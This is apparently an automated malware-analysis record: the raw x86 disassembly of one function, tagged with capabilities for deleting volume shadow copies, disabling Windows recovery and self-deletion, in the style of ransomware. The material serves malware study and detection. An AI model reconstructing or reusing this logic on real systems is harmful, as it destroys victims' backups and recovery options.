Function at 0x43d5d8
Capabilities:
Create process on windows
Delete volume shadow copies
Disable automatic windows recovery features
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x22
push 0
push 0
dec ecx
jne 0x43d5e0
push ecx
push ebx
push esi
mov eax, 0x439c54
call fcn.0040e7f4
mov ebx, 0x44b2f8
mov esi, dword [0x4448c8]
xor eax, eax
push ebp
push 0x43e77e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0042437c
call fcn.00439704
call fcn.004397bc
test al, al
je 0x43e6a1
cmp byte [esi + 0xa4], 0
je 0x43d648
mov eax, dword [0x4448d4]
cmp byte [eax + 0x2e0], 0
je 0x43d648
call fcn.00427fd0
test al, al
je 0x43e6a1
cmp byte [esi + 0xa4], 0
je 0x43d670
mov dl, 1
mov eax, 0x43e79c
call fcn.0042838c
xor eax, eax
call fcn.0042858c
mov dl, 1
mov eax, 0x43e7d0
call fcn.0042838c
push 0x80
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_SetPriorityClass
call fcn.0043969c
mov eax, 0xa
call fcn.004049d0
imul eax, eax, 0x3e8
add eax, 0x3e8
push eax
call sub.kernel32.dll_Sleep
call fcn.0041ac70
fstp qword [esi + 0x248]
wait
push 1
call sub.kernel32.dll_SetErrorMode
cmp byte [esi + 0xa4], 0
je 0x43d6cf
mov dl, 1
mov eax, 0x43e7f0
call fcn.0042838c
xor eax, eax
call fcn.0042858c
call fcn.00424394
cmp byte [esi + 0xa4], 0
je 0x43d73a
push 0x43e81c
lea edx, [ebp - 0x18]
movzx eax, byte [esi + 4]
call fcn.00418c24
push dword [ebp - 0x18]
push 0x43e83c
lea edx, [ebp - 0x1c]
movzx eax, byte [esi + 5]
call fcn.00418c24
push dword [ebp - 0x1c]
push 0x43e83c
mov eax, dword [esi + 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00418c40
push dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.00409168
mov eax, dword [ebp - 0x14]
mov dl, 1
call fcn.0042838c
xor eax, eax
call fcn.0042858c
cmp byte [esi + 0xa4], 0
je 0x43d756
mov dl, 1
mov eax, 0x43e84c
call fcn.0042838c
xor eax, eax
call fcn.0042858c
call fcn.00427578
test al, al
jne 0x43d784
cmp byte [esi + 0xa4], 0
je 0x43e6a1
mov dl, 1
mov eax, 0x43e874
call fcn.0042838c
xor eax, eax
call fcn.0042858c
jmp 0x43e6a1
cmp byte [esi + 0xa4], 0
je 0x43d799
mov dl, 1
mov eax, 0x43e8dc
call fcn.0042838c
call fcn.004048f8
dec eax
jne 0x43d7d4
lea edx, [ebp - 0x24]
mov eax, 1
call fcn.0040495c
mov eax, dword [ebp - 0x24]
call fcn.00438d30
test al, al
jne 0x43d7d4
lea edx, [ebp - 0x28]
mov eax, 1
call fcn.0040495c
mov edx, dword [ebp - 0x28]
mov eax, dword [0x44483c]
call fcn.00408fec
mov dword [ebx], 1
jmp 0x43de52
lea edx, [ebp - 0x2c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x2c]
mov edx, 0x43e904
call fcn.00409218
jne 0x43d80d
mov byte [esi + 0xb1], 1
mov byte [esi + 0xa9], 0
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0x30]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x30]
mov edx, 0x43e924
call fcn.00409218
jne 0x43d86c
inc dword [ebx]
jmp 0x43d85e
lea edx, [ebp - 0x34]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x34]
call fcn.00438d30
test al, al
jne 0x43de52
lea edx, [ebp - 0x38]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x38]
mov eax, dword [esi + 0x25c]
call fcn.00422b84
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d82a
jmp 0x43de52
lea edx, [ebp - 0x3c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x3c]
mov edx, 0x43e93c
call fcn.00409218
jne 0x43d8cb
inc dword [ebx]
jmp 0x43d8bd
lea edx, [ebp - 0x40]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x40]
call fcn.00438d30
test al, al
jne 0x43de52
lea edx, [ebp - 0x44]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x44]
mov eax, dword [esi + 0x258]
call fcn.00422b84
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d889
jmp 0x43de52
lea edx, [ebp - 0x48]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x48]
mov edx, 0x43e95c
call fcn.00409218
jne 0x43d927
inc dword [ebx]
jmp 0x43d919
lea edx, [ebp - 0x4c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x4c]
call fcn.00438d30
test al, al
jne 0x43de52
lea edx, [ebp - 0x50]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x50]
mov eax, dword [esi + 0x24]
call fcn.00422b84
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d8e8
jmp 0x43de52
lea edx, [ebp - 0x54]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x54]
mov edx, 0x43e970
call fcn.00409218
jne 0x43d94f
mov eax, dword [esi + 0x24]
call fcn.00422930
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0x58]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x58]
mov edx, 0x43e99c
call fcn.00409218
jne 0x43d976
mov byte [esi + 0x9e], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0x5c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x5c]
mov edx, 0x43e9b8
call fcn.00409218
jne 0x43d99d
mov byte [esi + 0xa9], 0
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0x60]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x60]
mov edx, 0x43e9dc
call fcn.00409218
jne 0x43da33
mov byte [esi + 0xa1], 0
mov byte [esi + 0xa2], 0
lea edx, [ebp - 0x68]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x68]
lea eax, [ebp - 0x64]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0x64]
call fcn.0042206c
test al, al
je 0x43da1b
push 0
push 0xa
push 0
push 1
push 0
push 0x64
lea edx, [ebp - 0x70]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x70]
lea eax, [ebp - 0x6c]
call fcn.00408fec
mov eax, dword [ebp - 0x6c]
call fcn.004395b8
mov byte [esi + 0xaa], al
cmp byte [esi + 0xaa], 0x64
jne 0x43da2b
mov byte [esi + 0xa1], 1
add dword [ebx], 2
jmp 0x43de52
lea edx, [ebp - 0x74]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x74]
mov edx, 0x43e9f8
call fcn.00409218
jne 0x43daa4
mov byte [esi + 0xa7], 1
mov eax, dword [esi + 0x254]
call fcn.00422930
inc dword [ebx]
jmp 0x43da96
lea edx, [ebp - 0x78]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x78]
call fcn.00438d30
test al, al
jne 0x43de52
lea edx, [ebp - 0x7c]
mov eax, dword [ebx]
call fcn.0040495c
mov edx, dword [ebp - 0x7c]
mov eax, dword [esi + 0x254]
call fcn.00422b84
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43da62
jmp 0x43de52
lea edx, [ebp - 0x80]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x80]
mov edx, 0x43ea10
call fcn.00409218
jne 0x43dacb
mov byte [esi + 0xa8], 0
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0x84]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x84]
mov edx, 0x43ea3c
call fcn.00409218
jne 0x43db41
lea edx, [ebp - 0x8c]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0x8c]
lea eax, [ebp - 0x88]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0x88]
call fcn.0042206c
test al, al
je 0x43db39
lea edx, [ebp - 0x90]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov eax, dword [ebp - 0x90]
call fcn.00418e7c
mov dword [esi + 0x4c], eax
add dword [ebx], 2
jmp 0x43de52
lea edx, [ebp - 0x94]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x94]
mov edx, 0x43ea58
call fcn.00409218
jne 0x43db68
add dword [ebx], 2
jmp 0x43de52
lea edx, [ebp - 0x98]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x98]
mov edx, 0x43ea74
call fcn.00409218
jne 0x43db8e
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0x9c]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0x9c]
mov edx, 0x43ea90
call fcn.00409218
jne 0x43dbbb
mov byte [esi + 0xa6], 0
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xa0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xa0]
mov edx, 0x43eab8
call fcn.00409218
jne 0x43dbe8
mov byte [esi + 0x9d], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xa4]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xa4]
mov edx, 0x43ead4
call fcn.00409218
jne 0x43dc15
mov byte [esi + 0x9f], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xa8]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xa8]
mov edx, 0x43eae8
call fcn.00409218
jne 0x43dc49
mov byte [esi + 0xa1], 1
mov byte [esi + 0xa2], 0
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xac]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xac]
mov edx, 0x43eb00
call fcn.00409218
jne 0x43dc7d
mov byte [esi + 0xa1], 0
mov byte [esi + 0xa2], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xb0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xb0]
mov edx, 0x43eb18
call fcn.00409218
jne 0x43dcaa
mov byte [esi + 0xa3], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xb4]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xb4]
mov edx, 0x43eb34
call fcn.00409218
jne 0x43dcd7
mov byte [esi + 0xb0], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xb8]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xb8]
mov edx, 0x43eb58
call fcn.00409218
jne 0x43dd39
cmp byte [esi + 0xb0], 0
je 0x43dd31
lea edx, [ebp - 0xc0]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0xc0]
lea eax, [ebp - 0xbc]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0xbc]
lea edx, [esi + 0x44]
call fcn.004224ac
add dword [ebx], 2
jmp 0x43de52
lea edx, [ebp - 0xc4]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xc4]
mov edx, 0x43eb78
call fcn.00409218
jne 0x43dd9b
cmp byte [esi + 0xb0], 0
je 0x43dd93
lea edx, [ebp - 0xcc]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0xcc]
lea eax, [ebp - 0xc8]
mov ecx, 0
call fcn.00408ba8
mov eax, dword [ebp - 0xc8]
lea edx, [esi + 0x18]
call fcn.004224ac
add dword [ebx], 2
jmp 0x43de52
lea edx, [ebp - 0xd0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xd0]
mov edx, 0x43eb98
call fcn.00409218
je 0x43ddd9
lea edx, [ebp - 0xd4]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xd4]
mov edx, 0x43ebac
call fcn.00409218
jne 0x43ddfc
lea edx, [ebp - 0xd8]
mov eax, dword [ebx]
inc eax
call fcn.0040495c
mov edx, dword [ebp - 0xd8]
mov eax, dword [0x44483c]
call fcn.00408fec
add dword [ebx], 2
jmp 0x43de52
lea edx, [ebp - 0xdc]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xdc]
mov edx, 0x43ebc4
call fcn.00409218
jne 0x43de26
mov byte [esi + 0x9b], 1
inc dword [ebx]
jmp 0x43de52
lea edx, [ebp - 0xe0]
mov eax, dword [ebx]
call fcn.0040495c
mov eax, dword [ebp - 0xe0]
mov edx, 0x43ebe0
call fcn.00409218
jne 0x43de50
mov byte [esi + 0x9c], 1
inc dword [ebx]
jmp 0x43de52
inc dword [ebx]
call fcn.004048f8
cmp eax, dword [ebx]
jge 0x43d7df
cmp byte [esi + 0xb1], 0
je 0x43de82
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
jne 0x43de82
call fcn.00439b20
jmp 0x43e6a1
cmp byte [esi + 0xa4], 0
je 0x43dec7
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
jne 0x43dec7
xor edx, edx
mov eax, 0x43ebf8
call fcn.0042838c
xor edx, edx
mov eax, 0x43ec98
call fcn.0042838c
mov eax, dword [0x444940]
call fcn.00405b48
call fcn.004046e8
jmp 0x43e6a1
lea eax, [esi + 0x24]
call fcn.004337f8
lea eax, [esi + 0x24]
call fcn.0043301c
lea eax, [esi + 0x24]
call fcn.004332a0
mov ebx, dword [esi + 0x4c]
test ebx, ebx
je 0x43df36
cmp byte [esi + 0xa4], 0
je 0x43df29
push 0x43ecdc
lea edx, [ebp - 0xe8]
mov eax, ebx
call fcn.00418c24
push dword [ebp - 0xe8]
push 0x43ecf8
lea eax, [ebp - 0xe4]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0xe4]
mov dl, 1
call fcn.0042838c
imul eax, dword [esi + 0x4c], 0x3e8
push eax
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xa4], 0
je 0x43df52
mov dl, 1
mov eax, 0x43ed34
call fcn.0042838c
xor eax, eax
call fcn.0042858c
mov eax, dword [esi + 0x44]
test eax, eax
je 0x43df5e
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x43df6a
lea eax, [esi + 0x44]
call fcn.00424cb4
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
jne 0x43dfa1
lea edx, [ebp - 0xec]
lea eax, [esi + 0x44]
call fcn.00422468
mov edx, dword [ebp - 0xec]
lea eax, [esi + 0x94]
call fcn.00422328
test al, al
jne 0x43e6a1
cmp byte [esi + 0xa4], 0
je 0x43dfb6
mov dl, 1
mov eax, 0x43ed64
call fcn.0042838c
call fcn.004374b8
cmp byte [esi + 0xa4], 0
je 0x43dfe0
mov dl, 1
xor eax, eax
call fcn.0042838c
mov dl, 1
mov eax, 0x43ed9c
call fcn.0042838c
xor eax, eax
call fcn.0042858c
cmp byte [esi + 0xa3], 0
jne 0x43dfee
call fcn.0042dfec
cmp byte [esi + 0xa4], 0
je 0x43e00a
mov dl, 1
mov eax, 0x43edf8
call fcn.0042838c
xor eax, eax
call fcn.0042858c
cmp byte [esi + 0xa3], 0
jne 0x43e018
call fcn.00429cd4
cmp byte [esi + 0xa3], 0
je 0x43e026
call fcn.004337b4
mov eax, dword [esi + 0x28]
cmp dword [eax + 8], 0
je 0x43e057
jmp 0x43e03b
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x438d0c
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e031
call fcn.00439238
mov eax, dword [0x44483c]
mov eax, dword [eax]
xor edx, edx
call fcn.00408e70
je 0x43e36c
mov byte [esi + 0xad], 0
mov eax, dword [0x44483c]
mov eax, dword [eax]
call fcn.004219c0
test al, al
je 0x43e0e7
cmp byte [esi + 0xa4], 0
je 0x43e0d6
mov dl, 1
xor eax, eax
call fcn.0042838c
mov ecx, dword [0x44483c]
mov ecx, dword [ecx]
lea eax, [ebp - 0xf4]
mov edx, 0x43ee24
call fcn.00408d28
mov edx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
call fcn.00408fd8
mov eax, dword [ebp - 0xf0]
mov dl, 1
call fcn.0042838c
xor eax, eax
call fcn.0042858c
mov eax, dword [0x44483c]
mov eax, dword [eax]
call fcn.00437918
jmp 0x43e20c
cmp byte [esi + 0xa3], 0
jne 0x43e12d
cmp byte [esi + 0xa4], 0
jne 0x43e12d
jmp 0x43e105
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x437e78
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e0fb
push 0x1388
call sub.kernel32.dll_Sleep
jmp 0x43e134
mov byte [esi + 0xad], 1
cmp byte [esi + 0xa4], 0
je 0x43e183
mov dl, 1
xor eax, eax
call fcn.0042838c
mov ecx, dword [0x44483c]
mov ecx, dword [ecx]
lea eax, [ebp - 0xfc]
mov edx, 0x43ee54
call fcn.00408d28
mov edx, dword [ebp - 0xfc]
lea eax, [ebp - 0xf8]
call fcn.00408fd8
mov eax, dword [ebp - 0xf8]
mov dl, 1
call fcn.0042838c
xor eax, eax
call fcn.0042858c
mov eax, dword [0x44483c]
mov eax, dword [eax]
call fcn.00437bb4
jmp 0x43e19b
push 0x3e8
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xad], 0
je 0x43e191
cmp byte [esi + 0xa4], 0
je 0x43e1c9
mov dl, 1
xor eax, eax
call fcn.0042838c
mov dl, 1
mov eax, 0x43ee90
call fcn.0042838c
xor eax, eax
call fcn.0042858c
call fcn.00428564
cmp byte [esi + 0xa4], 0
je 0x43e20c
mov eax, dword [0x4448d4]
cmp byte [eax + 0x2e0], 0
je 0x43e20c
xor edx, edx
mov eax, 0x43eec8
call fcn.0042838c
xor edx, edx
mov eax, 0x43ec98
call fcn.0042838c
mov eax, dword [0x444940]
call fcn.00405b48
call fcn.004046e8
cmp byte [esi + 0xa8], 0
je 0x43e2d4
cmp byte [esi + 0xa4], 0
je 0x43e22e
xor edx, edx
mov eax, 0x43eef4
call fcn.0042838c
push 0
push 0
push 0x43ef1c
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43ef84
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43eff0
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f048
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f080
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f0e0
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0x4e20
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xa7], 0
je 0x43e2e2
call fcn.00438698
cmp byte [esi + 0x9d], 0
je 0x43e308
push 0
push 0x43f160
push 0x43f164
push 0x43f180
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
cmp byte [esi + 0x9e], 0
je 0x43e35f
push 0
push 0
push 0x43f1a0
lea edx, [ebp - 0x104]
xor eax, eax
call fcn.0040495c
push dword [ebp - 0x104]
push 0x43f1ec
lea eax, [ebp - 0x100]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x100]
call fcn.00408f0c
push eax
push 0x43f1f4
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, dword [0x4448f4]
mov byte [eax], 0
jmp 0x43e6a1
cmp byte [esi + 0xa3], 0
je 0x43e3d9
cmp byte [esi + 0x9e], 0
je 0x43e3cc
push 0
push 0
push 0x43f1a0
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.0040495c
push dword [ebp - 0x10c]
push 0x43f1ec
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x108]
call fcn.00408f0c
push eax
push 0x43f1f4
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, dword [0x4448f4]
mov byte [eax], 0
jmp 0x43e6a1
cmp byte [esi + 0x9b], 0
je 0x43e3f5
mov byte [esi + 0xad], 1
jmp 0x43e411
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x4360c4
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e3eb
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [esi + 0x9b], 0
je 0x43e437
mov byte [esi + 0xab], 1
jmp 0x43e453
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x435e74
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e42d
cmp byte [esi + 0x9c], 0
je 0x43e46f
mov byte [esi + 0xaf], 1
jmp 0x43e497
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x4378bc
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e465
jmp 0x43e497
push 0x2710
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xaf], 0
je 0x43e48d
cmp byte [esi + 0x9c], 0
je 0x43e4bc
mov byte [esi + 0xae], 1
jmp 0x43e4d8
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x4377c0
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e4b2
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [esi + 0x9c], 0
je 0x43e4fe
mov byte [esi + 0xac], 1
jmp 0x43e526
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [0x444874]
push eax
mov ecx, 0x437608
xor edx, edx
xor eax, eax
call fcn.004080a4
test eax, eax
je 0x43e4f4
jmp 0x43e526
push 0x3e8
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xab], 0
je 0x43e51c
cmp byte [esi + 0xac], 0
je 0x43e51c
cmp byte [esi + 0xad], 0
je 0x43e51c
cmp byte [esi + 0xae], 0
je 0x43e51c
call fcn.00428d20
cmp byte [esi + 0xa8], 0
je 0x43e602
push 0
push 0
push 0x43f080
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f0e0
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43eff0
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43ef84
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43f048
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0
push 0
push 0x43ef1c
push 0x43ef70
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
push 0x4e20
call sub.kernel32.dll_Sleep
cmp byte [esi + 0xa7], 0
je 0x43e610
call fcn.00438698
mov eax, dword [esi + 0x94]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [esi + 0x9d], 0
je 0x43e642
push 0
push 0x43f160
push 0x43f164
push 0x43f180
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
cmp byte [esi + 0x9e], 0
je 0x43e699
push 0
push 0
push 0x43f1a0
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.0040495c
push dword [ebp - 0x114]
push 0x43f1ec
lea eax, [ebp - 0x110]
mov edx, 3
call fcn.00409168
mov eax, dword [ebp - 0x110]
call fcn.00408f0c
push eax
push 0x43f1f4
push 0x43ef78
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, dword [0x4448f4]
mov byte [eax], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e788
lea eax, [ebp - 0x114]
mov edx, 6
call fcn.00408228
lea eax, [ebp - 0xfc]
call fcn.00408210
lea eax, [ebp - 0xf8]
call fcn.004081c8
lea eax, [ebp - 0xf4]
call fcn.00408210
lea eax, [ebp - 0xf0]
call fcn.004081c8
lea eax, [ebp - 0xec]
call fcn.004081ec
lea eax, [ebp - 0xe8]
mov edx, 8
call fcn.00408228
lea eax, [ebp - 0xc8]
call fcn.004081ec
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.00408228
lea eax, [ebp - 0xbc]
call fcn.004081ec
lea eax, [ebp - 0xb8]
mov edx, 0xc
call fcn.00408228
lea eax, [ebp - 0x88]
call fcn.004081ec
lea eax, [ebp - 0x84]
mov edx, 6
call fcn.00408228
lea eax, [ebp - 0x6c]
call fcn.00408210
lea eax, [ebp - 0x68]
call fcn.004081c8
lea eax, [ebp - 0x64]
call fcn.004081ec
lea eax, [ebp - 0x60]
mov edx, 0x14
call fcn.00408228
pop eax
jmp eax